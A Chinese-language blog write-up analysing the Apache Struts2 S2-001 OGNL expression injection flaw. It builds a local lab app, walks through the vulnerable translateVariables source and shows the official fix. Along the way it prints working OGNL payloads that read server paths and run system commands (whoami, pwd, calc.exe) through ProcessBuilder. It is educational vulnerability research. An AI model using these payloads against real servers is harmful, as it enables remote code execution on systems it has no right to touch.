S2-001漏洞分析
前言
开始好好学Java，跟着师傅们的文章走一遍
Strust简介
Struts2是流行和成熟的基于MVC设计模式的Web应用程序框架。 Struts2不只是Struts1下一个版本，它是一个完全重写的Struts架构。
工作流程：
漏洞复现
漏洞简介
漏洞详情：
https://cwiki.apache.org/confluence/display/WW/S2-001
由于OGNL表达式的递归执行，造成了命令执行
环境搭建
mac下直接brew install tomcat
catalina run启动tomcat
brew services start tomcat后台启动服务
- Apache Tomcat/8.5.53
- IntelliJ IDEA
建好后从http://archive.apache.org/dist/struts/binaries/struts-2.0.1-all.zip中下载struts2的jar包
导入项目所需的包File->Project Structure
然后搭建环境，项目结构如图
src下新建struts.xml
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
"http://struts.apache.org/dtds/struts-2.0.dtd">
<struts>
<package name="S2-001" extends="struts-default">
<action name="login" class="com.demo.action.LoginAction">
<result name="success">welcome.jsp</result>
<result name="error">index.jsp</result>
</action>
</package>
</struts>
修改web.xml
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" id="WebApp_ID" version="3.1">
<display-name>S2-001 Example</display-name>
<filter>
<filter-name>struts2</filter-name>
<filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class>
</filter>
<filter-mapping>
<filter-name>struts2</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
<welcome-file-list>
<welcome-file>index.jsp</welcome-file>
</welcome-file-list>
</web-app>
index.jsp
<%--
Created by IntelliJ IDEA.
User: twosmi1e
Date: 2020/11/19
Time: 2:25 下午
To change this template use File | Settings | File Templates.
--%>
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>S2-001</title>
</head>
<body>
<h2>S2-001 Demo</h2>
<p>link: <a href="https://cwiki.apache.org/confluence/display/WW/S2-001">https://cwiki.apache.org/confluence/display/WW/S2-001</a></p>
<s:form action="login">
<s:textfield name="username" label="username" />
<s:textfield name="password" label="password" />
<s:submit></s:submit>
</s:form>
</body>
</html>
welcome.jsp
<%--
Created by IntelliJ IDEA.
User: twosmi1e
Date: 2020/11/19
Time: 3:09 下午
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--%>
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>S2-001</title>
</head>
<body>
<p>Hello <s:property value="username"></s:property></p>
</body>
</html>
在src下新建名为com.demo.action的package
LoginAction.java
package com.demo.action;
import com.opensymphony.xwork2.ActionSupport;
public class LoginAction extends ActionSupport {
private String username = null;
private String password = null;
public String getUsername() {
return this.username;
}
public String getPassword() {
return this.password;
}
public void setUsername(String username) {
this.username = username;
}
public void setPassword(String password) {
this.password = password;
}
public String execute() throws Exception {
if ((this.username.isEmpty()) || (this.password.isEmpty())) {
return "error";
}
if ((this.username.equalsIgnoreCase("admin"))
&& (this.password.equals("admin"))) {
return "success";
}
return "error";
}
}
然后点击Build->Build Project
配置好tomcat，
homebrew安装的tomcat home:/usr/local/Cellar/tomcat/9.0.33/libexec
run起来会看到如下画面
漏洞利用
点击submit后 ognl表达式会解析执行 返回2
获取tomcat路径
%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}
获取web路径
%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}
命令执行
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
OGNL表达式
OGNL是Object Graphic Navigation Language(对象图导航语言)的缩写，它是一种功能强大的表达式语言，使用它可以存取对象的任意属性，调用对象的方法，使用OGNL表达式的主要作用是简化访问对象中的属性值，Struts 2的
OGNL三要素
- 表达式（expression）：表达式是整个OGNL的核心，通过表达式来告诉OGNL需要执行什么操作；
- 根对象（root）：root可以理解为OGNL的操作对象，OGNL可以对root进行取值或写值等操作，表达式规定了“做什么”，而根对象则规定了“对谁操作”。实际上根对象所在的环境就是 OGNL 的上下文对象环境；
- 上下文对象（context）：context可以理解为对象运行的上下文环境，context以MAP的结构、利用键值对关系来描述对象中的属性以及值；
表达式功能操作清单：
- 基本对象树的访问
对象树的访问就是通过使用点号将对象的引用串联起来进行。
例如：xxxx，xxxx.xxxx，xxxx. xxxx. xxxx. xxxx. xxxx
- 对容器变量的访问
对容器变量的访问，通过#符号加上表达式进行。
例如：#xxxx，#xxxx. xxxx，#xxxx.xxxxx. xxxx. xxxx. xxxx
- 使用操作符号
OGNL表达式中能使用的操作符基本跟Java里的操作符一样，除了能使用 +, -, *, /, ++, --, ==, !=, = 等操作符之外，还能使用 mod, in, not in等。
- 容器、数组、对象
OGNL支持对数组和ArrayList等容器的顺序访问：例如：group.users[0]
同时，OGNL支持对Map的按键值查找：
例如：#session['mySessionPropKey']
不仅如此，OGNL还支持容器的构造的表达式：
例如：{"green", "red", "blue"}构造一个List，#{"key1" : "value1", "key2" : "value2", "key3" : "value3"}构造一个Map
你也可以通过任意类对象的构造函数进行对象新建
例如：new Java.net.URL("xxxxxx/")
- 对静态方法或变量的访问
要引用类的静态方法和字段，他们的表达方式是一样的@class@member或者@class@method(args)：
- 方法调用
直接通过类似Java的方法调用方式进行，你甚至可以传递参数：
例如：user.getName()，group.users.size()，group.containsUser(#requestUser)
- 投影和选择
OGNL支持类似数据库中的投影（projection） 和选择（selection）。
投影就是选出集合中每个元素的相同属性组成新的集合，类似于关系数据库的字段操作。投影操作语法为 collection.{XXX}，其中XXX 是这个集合中每个元素的公共属性。
例如：group.userList.{username}将获得某个group中的所有user的name的列表。
选择就是过滤满足selection 条件的集合元素，类似于关系数据库的纪录操作。选择操作的语法为：collection.{X YYY}，其中X 是一个选择操作符，后面则是选择用的逻辑表达式。而选择操作符有三种：
? 选择满足条件的所有元素
^ 选择满足条件的第一个元素
$ 选择满足条件的最后一个元素
例如：group.userList.{? #txxx.xxx != null}将获得某个group中user的name不为空的user的列表。
漏洞分析
由上图工作流程我们可以看到，当一个 HTTP 请求被 Struts2 处理时，会经过一系列的 拦截器(Interceptor) ，这些拦截器可以是 Struts2 自带的，也可以是用户自定义的。例如下图 struts.xml 中的 package 继承自 struts-default ，而 struts-default 就使用了 Struts2 自带的拦截器。
找到默认使用的拦截器栈
在拦截器栈 defaultStack 中，我们需要关注 params 这个拦截器。其中， params拦截器 会将客户端请求数据设置到 值栈(valueStack) 中，后续 JSP 页面中所有的动态数据都将从值栈中取出。
在经过一系列的拦截器处理后，数据会成功进入实际业务 Action 。程序会根据 Action 处理的结果，选择对应的 JSP 视图进行展示，并对视图中的 Struts2 标签进行处理。如下图，在本例中 Action 处理用户登录失败时会返回 error 。
然后到/com/opensymphony/xwork2/DefaultActionInvocation.class:253
继续跟，主要问题在translateVariables这个函数里
/**
* Converted object from variable translation.
*
* @param open
* @param expression
* @param stack
* @param asType
* @param evaluator
* @return Converted object from variable translation.
*/
public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator) {
// deal with the "pure" expressions first!
//expression = expression.trim();
Object result = expression;
while (true) {
int start = expression.indexOf(open + "{");
int length = expression.length();
int x = start + 2;
int end;
char c;
int count = 1;
while (start != -1 && x < length && count != 0) {
c = expression.charAt(x++);
if (c == '{') {
count++;
} else if (c == '}') {
count--;
}
}
end = x - 1;
if ((start != -1) && (end != -1) && (count == 0)) {
String var = expression.substring(start + 2, end);
Object o = stack.findValue(var, asType);
if (evaluator != null) {
o = evaluator.evaluate(o);
}
String left = expression.substring(0, start);
String right = expression.substring(end + 1);
if (o != null) {
if (TextUtils.stringSet(left)) {
result = left + o;
} else {
result = o;
}
if (TextUtils.stringSet(right)) {
result = result + right;
}
expression = left + o + right;
} else {
// the variable doesn't exist, so don't display anything
result = left + right;
expression = left + right;
}
} else {
break;
}
}
return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
}
第一次执行的时候 会取出%{username}的值，即%{1+1}
通过if ((start != -1) && (end != -1) && (count == 0))的判断，跳过return
通过Object o = stack.findValue(var, asType);把值赋给o
然后赋值给expression，进行下一次循环
第二次循环会执行我们构造的OGNL表达式
可以看到执行后结果为2
然后再次循环，经过if判断过后return
后面经过处理后返回index.jsp
漏洞成因呢就是在translateVariables函数中递归来验证OGNL表达式，造成了OGNL表达式的执行
漏洞修复
官方修复代码
public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator, int maxLoopCount) {
// deal with the "pure" expressions first!
//expression = expression.trim();
Object result = expression;
int loopCount = 1;
int pos = 0;
while (true) {
int start = expression.indexOf(open + "{", pos);
if (start == -1) {
pos = 0;
loopCount++;
start = expression.indexOf(open + "{");
}
if (loopCount > maxLoopCount) {
// translateVariables prevent infinite loop / expression recursive evaluation
break;
}
int length = expression.length();
int x = start + 2;
int end;
char c;
int count = 1;
while (start != -1 && x < length && count != 0) {
c = expression.charAt(x++);
if (c == '{') {
count++;
} else if (c == '}') {
count--;
}
}
end = x - 1;
if ((start != -1) && (end != -1) && (count == 0)) {
String var = expression.substring(start + 2, end);
Object o = stack.findValue(var, asType);
if (evaluator != null) {
o = evaluator.evaluate(o);
}
String left = expression.substring(0, start);
String right = expression.substring(end + 1);
String middle = null;
if (o != null) {
middle = o.toString();
if (!TextUtils.stringSet(left)) {
result = o;
} else {
result = left + middle;
}
if (TextUtils.stringSet(right)) {
result = result + right;
}
expression = left + middle + right;
} else {
// the variable doesn't exist, so don't display anything
result = left + right;
expression = left + right;
}
pos = (left != null && left.length() > 0 ? left.length() - 1: 0) +
(middle != null && middle.length() > 0 ? middle.length() - 1: 0) +
1;
pos = Math.max(pos, 1);
} else {
break;
}
}
return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
}
可以看到增加了对OGNL递归解析次数的判断，默认情况下只会解析第一层
if (loopCount > maxLoopCount) {
// translateVariables prevent infinite loop / expression recursive evaluation
break;
}
总结
入门找了S2-001跟着师傅们的文章学习了一下，原理还是很简单，就是调试java过程很费时间。
最后弹个计算器收尾吧，（不知道为什么mac上弹/System/Application/Calculator.app没弹成功
%{(new java.lang.ProcessBuilder(new java.lang.String[]{"calc.exe"})).start()}
参考
https://mochazz.github.io/2020/06/16/Java代码审计之Struts2-001/#漏洞分析
https://xz.aliyun.com/t/2672
https://xz.aliyun.com/t/2044
